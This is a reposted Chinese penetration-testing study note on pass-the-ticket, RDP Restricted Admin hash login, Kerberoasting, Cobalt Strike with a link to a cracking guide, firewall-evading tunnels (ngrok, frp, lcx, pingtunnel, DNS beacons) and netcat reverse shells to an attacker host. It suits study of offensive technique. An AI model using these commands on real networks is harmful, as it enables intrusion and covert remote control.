      kerberos::ptt 票据地址 
    6. 查看票据

      kerberos::list
    7. 票据利用

      dir \owa.god.org\c$

    RDP协议

    RDP(Remote Display Protocol )叫做远程显示协议,默认端口为3389

    Linux上面就是通过Xshell连接的sshxeiy协议,在windows上面就是类似LinuxRDP协议

    window开启远程连接界面:在运行里输入mstsc

    mstsc 和mstsc /admin 区别

    • mstsc连接服务器后的身份标识是普通用户,如果登陆了其他高级用户,该用户就无法登陆
    • mstsc /admin连接服务器后的身份标识是管理员账户,最优先连接,如果登陆了其他的登陆级别的用户,这些账户会断开连接

    也可以用命令行连接:

    window:mstsc.exe /console /v:192.168.3.21 /adminlinux:rdesktop 192.168.3.21:3389

    RDP密文HASH链接

    windows Server需要开启 Restricted Admin mode,在Windows 8.1Windows Server 2012 R2中默认开启,同时如果Win 7Windows Server 2008 R2安装了28719972973351补丁也支持

    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

    运行Restricted Admin mode服务

    mstsc.exe /restrictedadmin

    SPN服务

    定义:

    服务主体名称SPN)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称(唯一cookie的标识,类似于token)。

    Kerberos身份验证使用SPN服务实例与服务登录帐户相关联。如果在整个林中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN

    SPN扫描:

    SPN扫描也可以叫扫描Kerberos服务实例名称,在Active Directory环境中发现服务的最佳方法是通过“SPN扫描“

    SPN扫描通过LDAP(攻击者只需要获得一个普通的域用户权限,就可以进行SPN扫描)查询向域控制器执行服务发现。由于SPN查询是普通Kerberos票据的一部分,因此如果不能被查询,但可以用网络端口扫描来确认。

    SPN扫描攻击者通过网络端口扫描的主要好处是SPN扫描不要连接到网络上的每个IP来检查服务端口(不会因为触发内网中的IPSIDS等防火墙设备的规则而产生大量的警告日志)。

    Kerberoasting攻击

    1. 黑客可以使用有效的域用户的身份验证票证TGT)去请求运行在域控服务器上的一个或多个目标服务的服务票证。
    2. DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。
    3. 请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证
    4. 黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。
    5. 如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。这就是Kerberoasting攻击的关键。

    扫描例子:

    setspn -q ** | findstr "MSSQL" #查询MSSQL服务,相当于不用连接ip就可以查看靶机服务

    CobaltStrike

    CobaltStrike4.5下载与破解教程
    https://www.cnblogs.com/hxlinux/p/16505470.html

    CobaltStrike4.0用户手册:
    https://pan.baidu.com/s/15DCt2Rzg5cZjXnEuUTgQ9Q 提取码:dtm2

    Cobalt Strike是一款渗透测试软件,分为N个客户端与1个服务端,可以进行团队分布式操作,是渗透红队的必备工具。

    Cobalt Strike集成了功能和模块:

    • 端口转发
    • 扫描多模式端口Listener
    • Windows exe程序生成
    • Windows dll动态链接库生成
    • java程序生成
    • office宏代码生成

    CS神器流程:启动-配置-监听-执行-上线-提权-信息收集(网络,凭证,定位等)-渗透

    内网穿透

    两个不同的内网的主机想要通过CS或者MSF等工具实现控制或者通讯是不可能的,必须要借助代理。

    正反向协议通信:

    • 正向:控制端连接被控制端
    • 反向:被控制端连接控制端

    什么要区分正向和反向?

    • 因为如果控制端是外网主机,被控端是内网主机,就相当于控制端有一个唯一的IP地址(比如103.12.4.11),通过这个IP地址就可以找到控制端
    • 而在内网的被控端(比如192.168.23.36),你通过控制端主动去找是找不到的,因为这个内网IP地址并不是唯一的,可能很多内网都用了这个IP地址,你根本没法找。此时就需要反向连接了,让内网的被控端主动去找外网的控制端。

    内网穿透中隧道和代理的区别

    • 代理:主要解决网络的连通性问题(如果内网中存在防火墙等等禁止对代理的相关协议,代理就不能用需要隧道进行协议的伪装)
    • 隧道:解决流量分析工具、流量监控工具、防火墙等相关工具的过滤问题(代理的高级版本,进行了协议的伪装)

    Ngrok

    国外地址:https://ngrok.com/

    国内地址:https://www.ngrok.cc/

    攻击流程:

    1. kail是控制端,在本地运行ngrok的客户端文件
    2. 客户端文件的作用就是:监听http://xigua.free.idcfengye.com域名(127.0.0.1:4040端口)传递给kail控制端的192.168.108.129:4444的流量信息(木马反弹的是ngrok服务器)
    3. kail生成后门文件:这里要区分传统的生成后门写的lhost(攻击主机的ip地址),由于设置了ngrok服务器中转,因此lhost地址为ngrok服务器
    4. kailMSF接受shell:注意这里是服务器找内网的kail,因此是反向代理。RHOST参数值为受害靶机的ip地址,LHOST设置的是攻击主机的ip地址。而本文是反向代理,是服务器找本机ip,相当于反弹的shell找本机。(这也是为什么要在ngrok服务器设置反弹的ip和端口

    frp

    Ngrok工具使用的是别人的服务器,容易泄露隐私数据。

    FRP下载地址:https://github.com/fatedier/frp

    使用前要求改配置文件
    frpc.ini客户端(内网攻击机)frps.ini服务端(外网服务器)

    内网隧道

    使用隧道的必备条件:知道靶机支持的隧道协议

    隧道原理

    1. 在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况

    2. 如果发现异样,就会对通信进行阻断。那么什么是隧道呢?

    3. 这里的隧道,就是一种绕过端口屏蔽的通信方式。

    4. 防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装

    5. 然后穿过防火墙,与对方进行通信

    6. 当封装的数据包到达目的地时将数据包还原,并将还原后的数据包发送到相应服务器上。

    常用的隧道技术:

    • 网络层:IPv6 隧道、ICMP 隧道
    • 传输层:TCP 隧道、UDP 隧道、常规端口转发
    • 应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道

    ICMP 隧道

    检测靶机是否支持ICMP 隧道

    TCP 协议

    用“瑞士军刀”:netcat

    nc  <端口>(-vz检测TCP端口)nc   -uz  <端口>(-uz检测UDP端口)如:nc -vz 192.168.8.16
    HTTP 协议

    如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息

    用“curl”工具,执行

    curl 命令如:curl 192.168.8.16:80
    DNS 协议

    检测 DNS 连通性常用的命令是“nslookup”和“dig”

    nslookup 是windows自带的DNS 探测命令

    nslookup 192.168.8.16
    dig命令

    linux系统自带的 DNS 探测命令

    dig 192.168.8.16
    工具

    pingtunnel是把tcp/udp/sock5流量伪装icmp流量进行转发的工具

    因为tcp、udp、sock5这几个协议受到防火墙和工具的拦截,这个工具就是把这些流量伪装成icmp进行数据传输

    语法

    • -p 表示连接 icmp 隧道另一端的机器IP(即目标服务器
    • -lp 表示需要监听的本地tcp端口
    • -da 指定需要转发的机器的IP(即目标内网某一机器的内网 IP)
    • -dp 指定需要转发的机器的端口(即目标内网某一机器的内网端口)
    • -x 设置连接的密码

    传输层转发隧道

    lcx

    在window使用

    下载地址:https://pan.baidu.com/s/1EoGZYVejTrBHBAvhndHLuQ , 提取码:fn9o

    连接命令:

    lcx -slave 192.168.3.31 6666 127.0.0.1 3389

    portmap

    即lcx工具的linux版

    下载地址:http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip

    连接命令:

    ./portmap -m 2 -p1 6666 -h2 公网IP -p2 7777

    这里的6666端口和7777端口在公网IP上必须是开启状态

    Netcat

    windows和linux都能利用,用时需要确保是最新版

    window下载地址:https://eternallybored.org/misc/netcat/

    使用:

    双向连接反弹 shell

    1. **正向:**攻击连接受害

      受害:

      nc -ldp 1234 -e /bin/sh //linuxnc -ldp 1234 -e c:\windows\system32\cmd.exe //windows

      攻击:

      nc 192.168.76.132 1234 //主动连接
    2. **反向:**受害连接攻击

      攻击:

      nc -lvp 1234

      受害:

      nc 攻击主机 IP 1234 -e /bin/sh   //linuxnc 攻击主机 IP 1234 -e c:\windows\system32\cmd.exe     //windows

    多向连接反弹 shell-配合转发

    1. god\Webserver:

      Lcx.exe -listen 2222 3333
    2. god\Sqlserver:

      nc 192.168.3.31 2222 -e c:\windows\system32\cmd.exe
    3. kali 或本机:

      nc -v 192.168.76.143 3333

    相关 netcat 主要功能测试

    • 指纹服务:nc -nv 192.168.76.143

    • 端口扫描:nc -v -z 192.168.76.143 1-100

    • 端口监听:nc -lvp xxxx

    • 文件传输:nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt -q 1

    • 反弹 Shell:见上

    应用层 DNS 隧道

    常规是用http上线,dns比http速度要慢。

    当常见协议监听器被拦截时,可以换其他协议上线,其中 dns 协议上线基本通杀(监听器就是隧道的意思

    因为dns是域名解析,这个协议一般都不会被拦截,数据通过dns协议给出去,一般也不会被拦截

    流程:

    1. 使用云主机 Teamserver 并配置端口 53 启用-udp

    2. 买一个域名修改解析记录如下:

      • A 记录->cs 主机名->CS 服务器 IP

      • NS 记录->ns1 主机名->上个 A 记录地址

      • NS 记录->ns2 主机名->上个 A 记录地址

    3. 配置CobaltStrikeDNS监听器:

      • ns1.ord.cs

      • ns2.ord.cs

      • cs.ord.cs

    4. CobaltStrike中生成后门

      attacks–>packages–>windows executable(s)–>listener选择dns上线,勾选–>选择后门生成位置–>生成后门(dns_x.exe)

    5. 将后门上传到靶机后执行就能在CobaltStrike上线


    来源地址:https://blog.csdn.net/ywd171/article/details/127572425

--结束END--

本文标题: 渗透学习笔记

本文链接: https://lsjlt.com/news/403746.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • 渗透学习笔记
    渗透学习笔记 首先给出一个网站,该网站收录了各种红队渗透工具: https://github.com/guchangan1/All-Defense-Tool 信息收集 信息收集需要收集资产的企业备案、...
    99+
    2023-09-11
    网络安全 web安全 sql php
  • 我的MSF之Android木马渗透的学习笔记
    免责声明:以下内容仅供学习参考,如果用于任何非法途径,后果自负,希望大家做一个遵纪守法的好公民,一起保护国家的的网络安全!!! 文章目录 环境准备一、入侵操作1.木马制作2.开启http服务3.靶机下载木马4.安装木马5.监听...
    99+
    2023-08-23
    android kali msf
  • 【渗透测试学习】—记录一次自测试渗透实战
    写在前面 本文是作者入门web安全后的第一次完整的授权渗透测试实战,因为最近在总结自己学习与挖掘到的漏,无意中翻到了这篇渗透测试报告,想当初我的这篇渗透测试报告是被评为优秀渗透测试报告的,故在此重新整了一下,分享一下自己的思路与骚操作给大家...
    99+
    2023-09-02
    php python 学习 运维 网络
  • 渗透学习之PHP--序列化
    1.1什么是序列化 序列化. 序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程 1.2PHP如何序列化数据? 大多数情况下,我们需要将复杂的数组存储在数据库中或PHP中的文件中。有些人可能会使用PHP...
    99+
    2023-09-04
    学习 php
  • 学习笔记-TP5框架学习笔记\(路由\)
    TP5框架简单理解 (PS:只做粗略、关键知识的记录,TP程序的开始。详情请阅读官方手册) 1. 架构总览 TP程序的开始 PHP >=5.3.0, PHP7 ThinkPHP5.0应用基于MVC(模型-视图-控制器)的方...
    99+
    2023-10-25
    学习 php 开发语言
  • sqlite3 学习笔记
    #!/usr/bin/env python3 # -*- coding: utf-8 -*- # @descrip : operate SqLite intrface # @Time : 2020/04/22 21:57 # @Au...
    99+
    2017-12-28
    sqlite3 学习笔记 数据库入门 数据库基础教程
  • 20200618_MySQL学习笔记
    加号 + Mysql中加号只能做运算符 select 100+90  ==> 190  select "100"+90 ==> 190  如果有一个是字符串,那么尝试转换成数值型,转换成功 select "ja...
    99+
    2014-11-26
    20200618_MySQL学习笔记
  • 20200619 学习笔记
    主键和唯一的区别 主键:唯一、不为空、只能有一个、可以组合但不推荐 唯一:唯一、可为空、可以多个、可以组合但不推荐 外键 要求在从表设置外键关系 从表的外键列的类型和主表的关联列的类型要求一致或兼容 主...
    99+
    2019-12-15
    20200619 学习笔记
  • 20200617学习笔记
    基数  一个索引上不同的值的个数,我们称之为“基数”(cardinality)。也就是说,这个基数越大,索引的区分度越好 我们可以使用 show index 方法,看到一个索引的基数 MySQL 是怎样得到索引的基数的呢? 采样...
    99+
    2022-02-22
    20200617学习笔记
  • 20200616学习笔记
    count(*) 的实现方式 在不同的 MySQL 引擎中,count(*) 有不同的实现方式 MyISAM 引擎把一个表的总行数存在了磁盘上,因此执行 count(*) 的时候会直接返回这个数,效率很高 而 InnoDB ...
    99+
    2018-10-19
    20200616学习笔记
  • Mycat 学习笔记
    概述 1. Mycat 是什么? Mycat 是数据库中间件,连接 Java 应用程序和数据库,它的作用如下: 读写分离 数据分片:垂直拆分(分库)、水平拆分(分表)、垂直+水平拆分(分库分表) 多数据源整合 2....
    99+
    2019-10-05
    Mycat 学习笔记
  • postgres学习笔记
    将一个标识符变得受限同时也使它变成大小写敏感的,反之非受限名称总是被转换成小写形 式。例如,标识符FOO、foo和"foo"在PostgreSQL中被认为是相同的,而"Foo"和"FOO"则互 不相同且也不同于前面三个标识符(Postgr...
    99+
    2018-01-09
    postgres学习笔记
  • MySQL学习笔记
    作者: Grey 原文地址:MySQL学习笔记 说明 注:本文中的SQL语句如果用到了特定方言,都是基于MySQL数据库。 关于DDL DDL 的英文全称是 Data Definition Language,中文是数据定义语言。它定义了...
    99+
    2015-01-17
    MySQL学习笔记
  • Android学习笔记
    LinearLayoutCompat 线性布局 android:orientation=“vertical” 指定布局内控件排列方式为 垂直排...
    99+
    2022-06-06
    android学习 Android
  • AIDE 学习笔记
    参考:http://www.iamle.com/archives/1664.htmlAIDE的用法和tripwire类似。都是通过生成一份文件指纹的数据库,然后对比。所以,我们最好在刚安装完系统后,就安装这...
    99+
    2024-04-02
  • xtrabackup学习笔记
    wget https://www.percona.com/downloads/XtraBackup/Percona-XtraBackup-2.4.7/binary/tarball/percona-xtrab...
    99+
    2024-04-02
  • oracle学习笔记
    oracle安装1.         安装virtualbox:# yum install gcc kernel-devel ...
    99+
    2024-04-02
  • git 学习笔记
      Git是一款免费、开源的分布式版本控制系统,用于敏捷高效地处理任何或小或大的项目,为了帮助管理 Linux 内核开发而开发的一个开放源码的版本控制软件。     ...
    99+
    2024-04-02
  • MySQL 学习笔记
    😀😀😀创作不易,各位看官点赞收藏. 文章目录 MySQL 学习笔记1、`DQL` 查询语句1.1、基本查询1.2、函数查询1.2.1、单行函数1...
    99+
    2023-10-01
    mysql 学习 笔记
  • Kafka 学习笔记
    😀😀😀创作不易,各位看官点赞收藏. 文章目录 Kafka 学习笔记1、消息队列 MQ2、Kafka 下载安装2.1、Zookeeper 方式启动2.2、KRaft 协议启动2.3...
    99+
    2023-08-30
    kafka 学习 笔记
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作